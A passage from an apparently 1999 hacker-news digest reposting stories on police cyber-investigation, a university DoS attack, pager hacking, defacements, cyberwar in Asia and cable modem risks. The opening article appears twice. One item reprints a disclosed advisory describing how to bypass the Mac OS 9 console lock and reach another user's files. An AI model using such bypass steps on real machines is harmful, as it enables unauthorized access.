                            just like traditional criminals, experts say. 

                            With that said, Detective Eric Lundberg, a
                            high-tech crime expert from the
                            Massachusetts Attorney General's Office,
                            turned his attention to the 150-person law
                            enforcement audience gathered here recently.
       They were attending an all-day seminar on "Law Enforcement and the
       Internet" held by the Law Enforcement Internet Intelligence Report, a
       Boston-based newsletter covering the Internet and law enforcement. 

       The would-be cyber-sleuths were briefed on everything from the fine points
       of tracking e-mail messages to how to spot computer hackers to the legal
       pitfalls in preparing subpoenas and search warrants when going after
       computer criminals. 

       E-mails leave cyber-footprints 

       Lundberg detailed his tactics for identifying a cyber-criminal when there is
       nothing to go on but an anonymous and threatening e-mail message. 

       While it seems complicated, Lundberg stressed that searching for the true
       identity of e-mail is a process of backtracking, since e-mails actually leave
       cyber-footprints. 

       E-mail is initially composed on a user's computer and then sent to a mail
       server computer, which is typically located at an Internet service provider
       such as America Online or CompuServe. Finding out where an e-mail
       originated is done by examining e-mail headers -- computerese for detailing
       the e-mail's travels in cyberspace. 

       E-mail headers not only include an e-mail address, but also an Internet
       protocol address, which is a series of numbers, Lundberg explained. Also
       included are the names of mail server computers, which relay e-mail
       messages. They can all help pinpoint a suspect. 

       Difficulty level increasing 

       As more people take advantage of free
       Web-based e-mail services that allow them
       to mask their identities in cyberspace,
       however, investigators say it's becoming
       more difficult to trace criminal activity and
       identify the culprits. 

       Services such as Yahoo! Mail or Hotmail from the Microsoft Corp. are
       allowing computer users to create false e-mail identities, aliases and
       handles. Anyone who wishes can register an e-mail account to stalk and
       harass other users, obtain child pornography, hack into Web sites and
       gamble. Often, there's not much that can be done to prevent it. 

       Thor Lundberg, who is Eric's brother and a computer crimes investigator
       with the Raynham, Mass., Police Department, said that developing a profile
       of a computer hacker is difficult. 

       "Hackers vary from being loners [and] misfits to being very arrogant and
       cocky," Thor Lundberg said. 

       Profiling online behavior 

       However, he said hackers do repeat certain online behaviors that can add
       up to an electronic profile of what they target and leave other cyber-clues to
       how they go about performing the hack. 

       Thor Lundberg explained that before hackers go after a particular Web site,
       they scout around for vulnerabilities, such as a weak firewall, an open port
       or another way to get into a server to cause damage. 

       "Another hacker may not use that approach and look for holes, but try to
       find out how many neighbors, how many other servers are connected to
       that main computer server," he said. 

       Warned about reckless searches 

       Michael Delohery, an assistant Westchester County district attorney in the
       high-tech crime bureau, cautioned police officers to be careful when
       searching and seizing computer equipment and in the way they draft
       subpoenas and search warrants. 

       "You want to get ahold of subpoenas and search warrants so you can go
       obtain information. I'm here to warn you about going out and doing that
       recklessly," Delohery said. 

       He said that if they don't follow the right procedures, individual police
       officers and even prosecutors open themselves up to civil liability. 

       He cited some pieces of federal legislation that affect how to go about
       gathering Internet-related crime evidence. 

       Law includes electronic publishing 

       The Privacy Protection Act is a result of the police in Palo Alto, Calif.,
       getting a search warrant and seizing materials from a student newspaper
       that had covered a campus protest and subsequent clash with the police. 

       The act prevents the seizing of two categories of evidence, defined as
       documentary materials and work-product materials. But the law includes a
       number of exceptions to what can be obtained during a search, and the law
       has been expanded to also include electronic publishing. 

       "If you do not follow the guidelines of the statute, you can be sued
       personally, and this has happened," Delohery said. 

       Federal law says what cops can do 

       The other federal law is the Electronic Communications Privacy Act, which
       covers three kinds of communications: wire, oral and electronic mail. 

       "This law lays down the guidelines for what you can do. It is not an easy
       subject to understand. But what you can take away from it is very simple. If
      you want subscriber information, who is behind that screen name, what's
      his address, what were his log-on times, what phone numbers was he
      logging into, that is information you can get through a grand jury subpoena.
      If you want to get anything further, such as e-mail and buddy list
      information, that is considered stored electronic communications,"
      Delohery explained. 
      
      He said when seeking to find the real name behind a screen name, the first
      thing to do is to get a subpoena to the contact person at the Internet
      service provider. "They should be able to give you a billing address, a billing
      name, credit card information and a telephone number, maybe two
      telephone numbers. Now you have a lot you can work with. The rest is not
      high-tech. This is basic police work, stuff that you guys know," Delohery
      said. 
      
      Jurisdiction problems on Internet 
      
      Delohery also said the lack of geographic boundaries in dealing with
      Internet crime create jurisdictional problems. 
      
      "It's complicated because of the nature of the beast that you're dealing
      with," Delohery said. 
      
      "This is not a simple little thing where you can say the murder took place
      in this town, in this particular house, at a very specific location. When you
      get connected to the Internet, you are now part of a worldwide community.
      The jurisdiction can bounce around from different areas," he said. 
      
      David Noack is an APBnews.com staff writer (david.noack@apbnews.com).
      Cops Get Lesson in Cyber-Sleuthing
      Taught to Track E-mail, Crack Hackers, Win Subpoenas 
      
      Oct. 26, 1999 
      
      By David Noack 
      
      TARRYTOWN, N.Y. (APBnews.com) -- When
      fighting Internet crime, investigators should
      use all the same investigative methods they
      use in the brick-and-mortar world. After all,
      cyber-crooks leave behind clues and patterns
      just like traditional criminals, experts say. 
      
      With that said, Detective Eric Lundberg, a
      high-tech crime expert from the
      Massachusetts Attorney General's Office,
      turned his attention to the 150-person law
      enforcement audience gathered here recently.
      They were attending an all-day seminar on "Law Enforcement and the
      Internet" held by the Law Enforcement Internet Intelligence Report, a
      Boston-based newsletter covering the Internet and law enforcement. 
      
      The would-be cyber-sleuths were briefed on everything from the fine points
      of tracking e-mail messages to how to spot computer hackers to the legal
      pitfalls in preparing subpoenas and search warrants when going after
      computer criminals. 
      
      E-mails leave cyber-footprints 
      
      Lundberg detailed his tactics for identifying a cyber-criminal when there is
      nothing to go on but an anonymous and threatening e-mail message. 
      
      While it seems complicated, Lundberg stressed that searching for the true
      identity of e-mail is a process of backtracking, since e-mails actually leave
      cyber-footprints. 
      
      E-mail is initially composed on a user's computer and then sent to a mail
      server computer, which is typically located at an Internet service provider
      such as America Online or CompuServe. Finding out where an e-mail
      originated is done by examining e-mail headers -- computerese for detailing
      the e-mail's travels in cyberspace. 
      
      E-mail headers not only include an e-mail address, but also an Internet
      protocol address, which is a series of numbers, Lundberg explained. Also
      included are the names of mail server computers, which relay e-mail
      messages. They can all help pinpoint a suspect. 
      
      Difficulty level increasing 
      
      As more people take advantage of free
      Web-based e-mail services that allow them
      to mask their identities in cyberspace,
      however, investigators say it's becoming
      more difficult to trace criminal activity and
      identify the culprits. 
      
      Services such as Yahoo! Mail or Hotmail from the Microsoft Corp. are
      allowing computer users to create false e-mail identities, aliases and
      handles. Anyone who wishes can register an e-mail account to stalk and
      harass other users, obtain child pornography, hack into Web sites and
      gamble. Often, there's not much that can be done to prevent it. 
      
      Thor Lundberg, who is Eric's brother and a computer crimes investigator
      with the Raynham, Mass., Police Department, said that developing a profile
       of a computer hacker is difficult. 

       "Hackers vary from being loners [and] misfits to being very arrogant and
       cocky," Thor Lundberg said. 

       Profiling online behavior 

       However, he said hackers do repeat certain online behaviors that can add
       up to an electronic profile of what they target and leave other cyber-clues to
       how they go about performing the hack. 

       Thor Lundberg explained that before hackers go after a particular Web site,
       they scout around for vulnerabilities, such as a weak firewall, an open port
       or another way to get into a server to cause damage. 

       "Another hacker may not use that approach and look for holes, but try to
       find out how many neighbors, how many other servers are connected to
       that main computer server," he said. 

       Warned about reckless searches 

       Michael Delohery, an assistant Westchester County district attorney in the
       high-tech crime bureau, cautioned police officers to be careful when
       searching and seizing computer equipment and in the way they draft
       subpoenas and search warrants. 

       "You want to get ahold of subpoenas and search warrants so you can go
       obtain information. I'm here to warn you about going out and doing that
       recklessly," Delohery said. 

       He said that if they don't follow the right procedures, individual police
       officers and even prosecutors open themselves up to civil liability. 

       He cited some pieces of federal legislation that affect how to go about
       gathering Internet-related crime evidence. 

       Law includes electronic publishing 

       The Privacy Protection Act is a result of the police in Palo Alto, Calif.,
       getting a search warrant and seizing materials from a student newspaper
       that had covered a campus protest and subsequent clash with the police. 

       The act prevents the seizing of two categories of evidence, defined as
       documentary materials and work-product materials. But the law includes a
       number of exceptions to what can be obtained during a search, and the law
       has been expanded to also include electronic publishing. 

       "If you do not follow the guidelines of the statute, you can be sued
       personally, and this has happened," Delohery said. 

       Federal law says what cops can do 

       The other federal law is the Electronic Communications Privacy Act, which
       covers three kinds of communications: wire, oral and electronic mail. 

       "This law lays down the guidelines for what you can do. It is not an easy
       subject to understand. But what you can take away from it is very simple. If
       you want subscriber information, who is behind that screen name, what's
       his address, what were his log-on times, what phone numbers was he
       logging into, that is information you can get through a grand jury subpoena.
       If you want to get anything further, such as e-mail and buddy list
       information, that is considered stored electronic communications,"
       Delohery explained. 

       He said when seeking to find the real name behind a screen name, the first
       thing to do is to get a subpoena to the contact person at the Internet
       service provider. "They should be able to give you a billing address, a billing
       name, credit card information and a telephone number, maybe two
       telephone numbers. Now you have a lot you can work with. The rest is not
       high-tech. This is basic police work, stuff that you guys know," Delohery
       said. 

       Jurisdiction problems on Internet 

       Delohery also said the lack of geographic boundaries in dealing with
       Internet crime create jurisdictional problems. 

       "It's complicated because of the nature of the beast that you're dealing
       with," Delohery said. 

       "This is not a simple little thing where you can say the murder took place
       in this town, in this particular house, at a very specific location. When you
       get connected to the Internet, you are now part of a worldwide community.
       The jurisdiction can bounce around from different areas," he said. 

       David Noack is an APBnews.com staff writer (david.noack@apbnews.com).
       
       @HWA
       
42.0  LSU Experiences DOS Attack 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Weld Pond 
      A compromised student computer in Kirby-Smith Hall of
      Louisiana State University is being blamed for
      deprivation of service problems on some of LSU's
      systems. (If you want to laugh read some of the quotes
      in this article attributed to LSUPD Capt. Mark Shaw. It is
      good to know he is on the case.) 

      Excite News        
      http://news.excite.com/news/uw/991027/university-291
      
      LSU Web problems due to hacker

      Updated 12:00 PM ET October 27, 1999


      By Jenny Heil
      The Reveille
      Louisiana State U.
    
      (U-WIRE) BATON ROUGE, La. -- The problems students may have experienced 
      last week in gaining access to the Louisiana State University homepage 
      were due to the work of a computer hacker. 

      Computing Services was experiencing deprivation of service problems, 
      meaning legitimate users were getting busy signals when trying to log on 
      the LSU website, said LSUPD Capt. Mark Shaw. 

      The problem was traced to a student's computer in Kirby-Smith Hall, but 
      Computing Services determined the person causing the deprivation of 
      services was not the owner of the computer. Rather, the person was from 
      the       outside and hacking into the student's computer without his 
      permission, Shaw said. 

      The hacker illegally tapped into the LSU system, bombarding the site with 
      traffic so that regular users could not log on, Shaw said. 

      "Computers are far from anonymous. They are not," Shaw said. "A system 
      analyst can monitor any key stroke of any machine accessed to their 
      machine." 

      In this case, Computing Services was monitoring its users to find the 
      cause of the connection's crash. A massive amount of traffic was coming 
      from one computer, so Computing Services called LSUPD and went to the       
      source, Shaw said. 

      "We believe the hacking may be coming from out of the country," Shaw said. 
      "That's the unique thing about the Internet. Once they're in, it can 
      literally be anywhere in the world." 

      Computing Services does not intend to further investigate this incident, 
      since the problem is solved for the time being, Shaw said. 

      "All we're really interested in is restoring services," he said. "If we 
      continue to see the problem in the future, we'll go into deeper measures." 

      Students should take precautions to protect not only the LSU mainframe, 
      but their personal computers as well, Shaw said. 

      "If you're not utilizing the mainframe or Internet access through the 
      mainframe, shut down your Internet browser or log off the mainframe," Shaw 
      said. 

      Signing off the Internet when a student is not using it can prevent 
      hackers from causing problems such as the one Computing Services 
      experienced Oct. 22. 

      "It's a good, safe precaution for all users because once they're [hackers] 
      in, they can do anything," Shaw said. "The old 'dog ate my homework' has 
      been replaced by 'my computer crashed.'" 

      Students should also make sure their passwords include numbers and 
      letters, which they should not share with anyone. 

      LSUPD has dealt with other computer fraud cases in the past, such as 
      people accessing areas of the LSU site without authorization, people 
      downloading or making illegal copies of software and people using the 
      mainframe       as storage space, Shaw said. 

      "A lot of what we see is someone coming into the LSU system to go out and 
      access another site," he said. 

      If the current problem does come up again, Shaw said he thinks the cause 
      may be the same, someone using a student's computer to gain access to LSU. 

      "If we just prevent the problem [with the above mentioned methods], it's 
      as much for the students' protection as it is for the University," Shaw said. 
    
      (C) 1999 The Reveille via U-WIRE 
      
      @HWA
      
43.0  Oklahoma Paging System Vandalized       
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Weld Pond  
      Details are sketchy but a vandal broke into a MetroCall        
      paging system in Oklahoma and sent out a page that 
      somehow triggered dozens of others. (Of course they                                                               
      don't use the word vandal this guy had to be a 'hacker'.) 

      Excite News 
      http://news.excite.com/news/r/991028/06/ok-state-news-6
      
      Pager Hoax Blamed On Computer Hacker

      Updated 6:22 AM ET October 28, 1999

      (STATEWIDE) -- Authorities now know the cause of a pesky pager problem in 
      Oklahoma. MetroCall says a hacker broke into its paging system yesterday 
      morning and sent out a page that snowballed into dozens more around the 
      state. The pages went off for more than ten minutes. One of the two dozen 
      numbers sent out in the pages belonged to the Cardiac Central Monitoring Unit
      at Presbyterian Hospital. It was flooded with calls all morning from pager 
      owners, calling to find out who paged them. MetroCall says the situation has
      been remedied. 
      
      @HWA
      
44.0  You Thought You Were Safe 
      ~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Ender Wiggin 
      Brian Martin talks about the fact that nothing
      computerized is safe -- not your Dreamcast, your Palm
      Pilot, your word processing program or your telephone.
      He says "Security is all-inclusive, no longer a realm of
      obscure networks or sensitive databases full of nuclear
      codes and credit card numbers." 

      OSALL       
      http://www.aviary-mag.com/Martin/Safety/safety.html
      
      
      And You Thought You Were Safe!
      10/27/99

                                                     Brian Martin
                                                      Staff Writer

      The realm of computer security is not an isolated slice of life reserved for
      geeks and bitheads. Security is all-inclusive, no longer a realm of obscure
      networks or sensitive databases full of nuclear codes and credit card
      numbers. I know this may be hard to swallow for many people as they
      haven't given the matter serious thought. Stop reading for a minute and think
      about all things computerized in your life. Now consider which ones present
      potential security or privacy concerns to you. If you think any less than 90%
      or so present these problems, think again.

      Some will cast this notion aside in favor of the argument that so many
      security concerns are so trivial that they make no real difference. Who cares
      if someone knows you visited a web site or purchased something online --
      right? This argument can effectively be countered any number of ways as
      long as the reader is willing to give them appropriate consideration. First,
      each of these small concerns add up. To use an old but familiar and fitting
      analogy, consider each privacy violation a brick. Put enough of these bricks
      together and you have a full-blown wall. Second, at what point do they stop
      being small and trivial? If you convince yourself that each security
      vulnerability is small, they slowly begin to grow without you acknowledging
      it. Before long, they have turned into full blown risks that your mind
      associates with 'trivial'.

      So in a single day, where do you encounter these risks? Anytime you use
      technology. Before you say "But I don't use it that much!" think about how
      much technology surrounds your life. In many cases it has become so
      integrated that you often stop noticing it. Have a personal organizer like a
      Palm Pilot? Play games on a Sega Dreamcast? Send e-mail to friends or
      family via an on-line service? Have controlled access to your office via
      'strong' token cards? These points of technology slowly add up and paint a
      bigger picture of rapidly degrading privacy while security vulnerabilities
      increase in number. All of the above, and we've barely touched serious
      computing as far as most people are concerned.

      To anyone reading this that is passingly familiar with computer based news
      outlets like Wired, MSNBC and others, this is no doubt preaching to the
      choir. For those of you new to the net, I write this in hopes that you are fully
      aware just how vulnerable your computer setup and system can be. The
      disturbing trend emerging in people's reactions to security is that perception
      says if you aren't online, you are safe. I hate to break this to you, but
      connectivity has little to do with security and privacy. All it takes is a single
      ten second connection to the net and game over.

      You boot up your computer and interface with the Operating System. Be it
      Windows NT, Windows 95, Solaris or any other platform, it is potentially
      vulnerable. When you open your browser, it too poses more risks than you
      can possibly imagine. Both Microsoft Internet Explorer and Netscape
      Navigator have had their fair share of problems. Even in seemingly safe
      applications like Microsoft Word lurks danger. Users connecting to the net
      via cable modem learned quickly that while their walls protected them from
      neighbor's prying eyes, their modems certainly did not.

      As with all articles on security, I try to present the problem and a solution for
      my readers. What can I possibly suggest to counter such an overwhelming
      amount of intrusions into your personal privacy and security? Awareness.
      Just understanding and realizing the concerns better equips you to battle the
      hoards of bad guys we always read about. Be proactive when using anything
      electronic, assess the risks, and proceed with caution. All joking aside, it
      may save you a lot of headache in the near future.
      
    
      @HWA
      
45.0  The Weather Channel and Four More .gov/.mil Sites Defaced 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Space Rogue 
      Yesterday was another busy day for those defacing web
      sites. Web sites owned by the Navy and the Marine
      Corps where hit as was The Weather Channel. Groups
      and people such as Narcissus, High-Tech Hate, fuqraq,
      flipz, p4riah, Pakistan Hackerz Club and others have
      claimed responsibility. (Unfortunately most of these
      pages are not anything to look at which is why we have
      not been mirroring them. We did grab a few.) 

      HNN Defaced Pages Archive
      http://www.hackernews.com/archive/crackarch.html
      
      Attrition Web Mirror 
      http://www.attrition.org/mirror/
      
      @HWA
      
46.0  Nerds Will Fight Next World War 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/ 

      contributed by no0ne 
      The Economist has an article on how computers are
      being used as a weapon and how it has changed the
      way politics, propaganda and other agendas and
      objectives are being pushed in Asia. This is mostly fear
      mongering so if you're busy today don't bother. 

      The Economist       
      http://www.economist.com/editorial/freeforall/30-10-99/as9668.html
      
       
      ASIA

      The Internet

       HACKING, spamming and spreading viruses. Each is a means to disrupt an 
       enemy’s computer systems, and each has been employed by whizz-kids, maybe 
       even by governments, in recent international disputes. Especially in 
       Asia, computer nerds have nudged their way to the front line this year, 
       arguing that the Internet is a potent weapon. Are they right? 

       It is certainly useful for propaganda. Hours after the coup in Pakistan 
       this month, the “Islamic group of Hackers” rewrote a government website 
       to praise the army and condemn the arrested prime minister as corrupt, 
       foolish and bald. Earlier, both Pakistani and Indian propagandists 
       concerned with the conflict in Kashmir had denounced their enemies 
       online, and attacked each other’s websites. That of the Indian army was 
       “hijacked”, its content replaced with stories of torture of Kashmiri 
       separatists. Similar attacks occurred during the Kosovo war this spring, 
       and rival Chinese and Taiwanese hackers frequently compete to plant their 
       national flags on rival sites. 

       The Internet is anonymous, so groups in repressive countries can use it 
       with some confidence to organise themselves. The Falun Gong spiritual 
       movement in China—which conducted mass protests this spring and again 
       this week, despite a government crackdown—is said by some to be managed 
       by e-mail. The group’s websites are used to spread news and to encourage 
       followers not to be browbeaten. Dissident hackers have attacked Chinese 
       government computers used to censor websites and in return, it is 
       claimed, government technicians have attacked those of dissidents. 

       This information war is at its fiercest when activists try to sabotage 
       others’ computers. East Timorese separatists threatened to employ scores 
       of expert hackers against the Indonesian authorities if the government 
       tried to rig the independence referendum in August. Jose Ramos Horta, a 
       Timorese leader, vowed that specialists would infect computers of the 
       Indonesian banking system with viruses. That, they said, would bring 
       economic chaos. 

       The threat went unfulfilled. But in China and Taiwan a cyber war of sorts 
       has been under way for several months. After the Taiwanese president, Lee 
       Teng-hui, said in July that relations with China should be considered as 
       those between countries, teams of hackers have tried to disrupt rival 
       computer systems. The National Security Bureau in Taiwan says that they 
       have broken into government networks, including those at the justice 
       ministry, over 150 times recently. Many incidents are blamed on Chinese 
       government agencies. One report suggests that 72,000 “cyberspace attacks” 
       were launched from China against Taiwan in August alone. In response, 
       Taiwanese hacked into websites of China’s taxmen and the railways 
       ministry. 

       The toll can be severe. The Pentagon reckons that last year the Taiwanese 
       spread two viruses, known as the Bloody 6/4 and Michelangelo, in part to 
       protest against the massacre of students around Tiananmen Square in 1989. 
       They damaged some 360,000 computers in China, at a cost of $120m. 
       Taiwan’s deputy prime minister gave warning this autumn that cyber war is 
       a serious worry for the future. And a report this month for the United 
       States Congress said America’s communications, defence, power and 
       emergency services were all vulnerable to computer attacks. Those on 
       businesses—this week a hacker claimed he had stolen details of 150,000 
       Internet users at Cable and Wireless—illustrate such weaknesses. 

       So governments are getting involved too. They develop defences for 
       computer networks, and it is assumed they also prepare methods of attack. 
       Hackers at NATO may have meddled with Yugoslavia’s communications system 
       during the Kosovo war. After the bombing of China’s embassy in Belgrade, 
       there was one direct response on the Internet: American government 
       websites were swamped with e-mails. This practice, known as “spamming”, 
       is designed to overload computers with information, making them 
       unworkable. 

       Cyber attacks have become a favourite topic of military strategists. 
       Taiwan claims China conducted an exercise early this summer in Lanzou and 
       Beijing military districts to see how computer viruses could cripple an 
       enemy’s command-and-control centre. “China has developed the techniques 
       to execute an information war in these military exercises,” said Abe 
       Charlie Lin, of Taiwan’s defence ministry. Others will be doing the same, 
       perhaps with the help of Internet specialists and the many institutes for 
       the study of cyber warfare. There is a service on the Net giving details 
       of such attacks. Unfortunately, it is at present out of order. 


      @HWA
      
47.0  Hole Found in Mac OS 9 
      ~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by wh4cked 
      What is believed to be the first security vulnerability
      found in MacOS 9 has been posted. MacOS 9 has been
      shipping for less than one week and is the first version
      of MacOS to support multiple users. The vulnerability
      allows one user to bypass the Console Lock feature and
      gain access to another users files. (This is a wicked
      simple hole, it is very surpriseing that this problem was
      not discovered during testing.) 

      Security Focus      
      http://www.securityfocus.com/bid/745"
      
      bugtraq id   745
      class        Design Error
      cve          GENERIC-MAP-NOMATCH
      remote       No
      local        Yes
      published    October 26, 1999
      updated      October 26, 1999
      vulnerable   Apple MacOS 9.0
      
      MacOS 9 includes an idle-activated console lock feature, similar to a
      screensaver password in other operating systems. After a certain length
      of user inactivity, a dialog box appears stating that a password must be
      entered. After the user clicks 'OK' another dialog box appears offering
      the option to either supply a password or to log out the current user. If
      the 'log out' option is chosen, any programs running will start to shut
      down. In certain programs, dialog boxes are created in the shutdown
      process (for example, "Exit without saving? OK/Cancel"). If the user
      selects 'Cancel', the shutdown process is aborted and the user is
      returned to the current session without ever having to enter a password
      
      Apple has been notified, and It has been filed into their bug database as
      ID #2404562.
      
           
      credit
       Posted to Bugtraq by Sean Sosik-Hamor <ssh@shn.nu> on
       October 26, 1999.

      reference
       message:
               Mac OS 9 Idle Lock Bug
               (Sean Sosik-Hamor <ssh@shn.nu>)
               
      @HWA
      
48.0  Time Spreads Cable Modem FUD 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by InfinityMatrix 
      In the November 1st Issue of Time Magazine, the
      Technology section highlighted the Cable modem issue.
      The author, Chris Taylor, states that "most common
      attack reported by hacker watchers makes use of a
      Trojan Horse." It goes on further spreading FUD, "If
      you've hooked up a microphone, the remote-access
      hacker can listen to your conversations in real-time. If
      you own one of those little monitor-top video cameras,
      he can watch you like Big Brother." (A cable modem is
      no more dangerous than a regular modem. The fact
      that you have an insecure machine connected directly
      to the internet is the problem. Not the cable modem.
      Stop blaming the technology for a personal problem.) 

      Time.com                      
      http://www.pathfinder.com/time/magazine/articles/0,3266,33139,00.html
      
      PERSONAL TIME/YOUR TECHNOLOGY
      NOVEMBER 1, 1999 VOL. 154 NO. 18 

      Hacker's Delight Cable modems are a speedy way to surf, but they're 
      vulnerable--unless you protect youself BY CHRIS TAYLOR

      I know what gadget I want for my birthday this year. It's the same thing 
      I've lusted after for a couple of birthdays now, and I'd trade in all the 
      socks, ties and humorous cards about aging if only I could have it. 
      Unfortunately, I can't, because it's a cable modem--which lets you 
      traverse the Net at about 20 times the speed of a 56K modem--and 
      cable-modem service is very spotty right now. In Manhattan, for example, 
      I'd have to live between 59th and 67th Street, or in the ultra-hip East 
      Village. Service will arrive in my slightly less hip corner of the West 
      Village in fall 2000, which is way too late to help with my dream of 
      downloading every last music track on http://MP3.com.

      The other bad news on cable modems--and this is why I'm a little mollified 
      that I can't have one yet--is that they're more vulnerable to hacker 
      attacks than regular set-ups. You see, one of the strengths of surfing via 
      cable is that you're online 24 hours a day and don't have to disconnect 
      every time you want to order Chinese food. But that can also be a 
      weakness, because your IP address (the ZIP code of the Internet) doesn't 
      change. Dial-up users like me who are still crawling along at 56K get 
      moved to a different IP address every time we log on. We may be slower, 
      but we're harder to find.

      Hackers like an easy target, and computers hooked up to cable modems are 
      potentially the lowest-hanging fruit of all. Especially if they're running 
      Windows. For reasons known only to itself, Microsoft makes its operating 
      system default to friendly mode, entirely open to network sharing. This 
      means when you hook your brand-new PC up to your brand-new cable modem, 
      you unwittingly become a node on a massive network whose members can come 
      and look around your hard drive, perhaps download your financial records.

      But the most common attack reported by hacker watchers makes use of a 
      Trojan horse. These are programs with bizarre names like Back Orifice or 
      Net Bus that can be hidden in an e-mail attachment--say, one of those 
      animated birthday cards people seem to like e-mailing. Once you open it, 
      you've installed the software--and the wily hacker has remote control of 
      your PC. 

      To be sure, dial-up users get hit by Trojans too. But all the extra 
      bandwidth provided by cable modems makes hackers salivate. If you've 
      hooked up a microphone, the remote-access hacker can listen to your 
      conversations in real-time. If you own one of those little monitor-top 
      video cameras, he can watch you like Big Brother.

      Now here's the good news. Such attacks are still rare; they can easily be 
      detected; and all it takes to prevent them is common sense. Turn off file 
      sharing in your network control panel. Add password protection to your 
      most precious files. And for goodness' sake, don't ever, ever open an 
      e-mail attachment from someone you don't know and trust like family.

      The even better news is that cable-modem providers like Road Runner 
      (partly owned by Time Warner, parent company of this magazine) and 
      Excite@Home are working on bigger and better firewalls to help stop 
      snooping. Since they're twice as fast as DSL phone lines, cable modems are 
      worth the risk. They will never be hackproof, but they should be a lot 
      safer by the time my next birthday rolls around. This year, I'll have to 
      settle for socks again.

      For more on cable modems and how to protect
      them, see http://timedigital.com. Questions for
      Chris? E-mail him at cdt@well.com END
      
      @HWA
      
49.0  DutchThreat Quit?
      ~~~~~~~~~~~~~~~~
      
      From http://www.403-security.org/
      
      http://www.dutchthreat.org/
      
      Dutchthreat an underground group is showing its' dismay with the current
      state of affairs in the underground, originally the group announced via
      its web page that it had quit the scene outright but later said that they
      'would be back' more on this as it progresses...
      
      Original 'quit' message;
      
      
      
      
      " The hackers-scene died and we are not living it anymore.. "

      The current defacements by #phreak.nl with their 'RedAttack the Rat" actions
                           pushed us over the edge.
        It's not just their ignorance, it's the ignorance of so many lately.
             We are not supporting acts of childish people anymore.
            With this page we apologize for the behavior of so many.

                        The Dutch Threat Crew.

                         info@dutchthreat.org
       
       
       
      Current message; 

      29-10-99 We will be back..
      Ok.. you win..
      We received loads of mail of people telling us
      we over-reacted by 'quitting' Dutch Threat.
      Although it was never the intention to
      quit Dutch Threat for real the previous page
      was more of a temporary protest against script-kiddie
      behavior that, to our opinion, reached it limits by
      a #phreak.nl defacement.
      Since lack of privacy is the issue here we shouldn't run away from
      it but instead use the medium we have to defend ourselves
      and give our opinion.
      That's what Dutch Threat was all about in the beginning..
      I'll set up a credit list with all the people that told us so ;)
      Tonight, After a long and boring talk with Gerrie (www.hit2000.org) 
      he convinced me (Acos) that publishing private data from individuals in public
      is the only way to make people privacy-aware.
      Although i agree with that i'm still sure you should never use
      that information to start a warfare because of a personal disagreement.
      The RedAttack stuff isn't the only reason for the temporary shutdown of
      DT, I will explain this later.
      I still condemn the RedAttack-defacements by phreak.nl because of their
      childish content.. but i realized they made a point in general.
      So i will do the same using the motto 'there is no privacy and why should 
      we care?'... ;)
      
      
      @HWA
      
50.0  Can you protect your image on the net?
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From http://www.403-security.org
      
      
      Can You Protect Your
      Image on the Net? 
      
      http://www.pcworld.com/pcwtoday/article/0,1510,13494,00.html

      Rival developer says Clever Content Server's
      security is easily cracked.

      by David Essex, special to PC World 
      October 27, 1999, 9:07 a.m. PT 

      Alchemedia claims that its Clever Content Server
      encryption software, which started shipping this month,
      is just what Webmasters and visual artists need to
      prevent their valuable images from being copied and
      distributed. But a competing software maker says it
      easily cracked Alchemedia's program, so hackers
      could easily do so, too.

      Clever Content Server encrypts images stored on a
      Web site's servers, at a cost of $10,000-plus per server
      per year. When someone clicks on an image, the
      program sends a free browser plug-in called Clever
      Content Viewer, followed by the image. The viewer
      decrypts and displays the image, but the user can't
      copy, save, print, or capture it.

      "The Internet is a big copying machine," says
      Alchemedia Chief Executive Officer Daniel Schreiber.
      Content providers typically put up grainy thumbnail
      images or none at all. "It's keeping good content off the
      Web," Schreiber says. "The whole $13-billion digital
      content industry is unable to take advantage of the
      e-commerce opportunity."

      Get Cracking on This

      But Greg Heileman, president of competitor Elisar
      Systems, says his company broke through the beta
      version in a day and the shipping version in a hour. He
      says Clever Content Server attempts to catch improper
      access of video memory by using three Windows
      dynamic link libraries, a process that is easy for
      experienced hackers to crack.

      Heileman says his own product, SecureViewer
      (expected to ship by the end of October), is more
      secure because it directly controls the video hardware.
      But he acknowledges that SecureViewer isn't totally
      hacker-proof, since someone could use a hardware
      device to grab the video signal on its way to the PC
      monitor.

      SecureViewer, priced at around $6 to $10 for each
      image encrypted, requires users to download a larger
      viewer program than Alchemedia's, but does not require
      server software. To display an image, SecureViewer
      takes over the entire screen, leaving the browser
      running in the background.

      Schreiber responds that SecureViewer doesn't work in
      the Web-friendly way that content providers want. He
      says Clever Content Viewer provides an adequate
      deterrent to image theft without compromising usability.
      "We're not really interested in hackers and hacker-proof
      technology for the simple reason that our customers
      aren't, either," Schreiber says.

      Customer Concerns

      Alchemedia (formerly Csafe) first released a beta
      version of the software early this year under the name
      PixSafe. One potential customer, Photos to Go, an
      online vendor of stock photography that has used the
      beta version in an online demo since February,
      acknowledged last month that there were security
      issues surrounding the software.

      "There have been things which have been brought to
      our attention, which have been fixed," says Kathy
      Mullins, vice president of electronic services at Photos
      to Go. "We've looked at a lot of security products, and
      no one has told us they're airtight. Hackers will always
      find a way." 
      
      @HWA      
      
51.0  Do secure email sites offer foolproof safety?
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From http://www.403-security.org/
      
      http://www.seattletimes.com/news/technology/html98/inbo_19991024.html
      
      

       Do secure e-mail sites offer foolproof
       safety? 
  
       by Charles Bermant 
       Special to the Seattle Times 
  
       The notion that free Web-based e-mail may not be secure is a
       scary thought for users of these services, as they have come to
       rely on the convenience of logging on anywhere and exchanging
       up-to-the-minute information. 
  
       These people don't want to have to lug a laptop around, or worse:
       wait until they get home until checking their messages. 
  
       There is now an alternative - sort of. Free e-mail services that
       promise an increased level of security are emerging, promising that
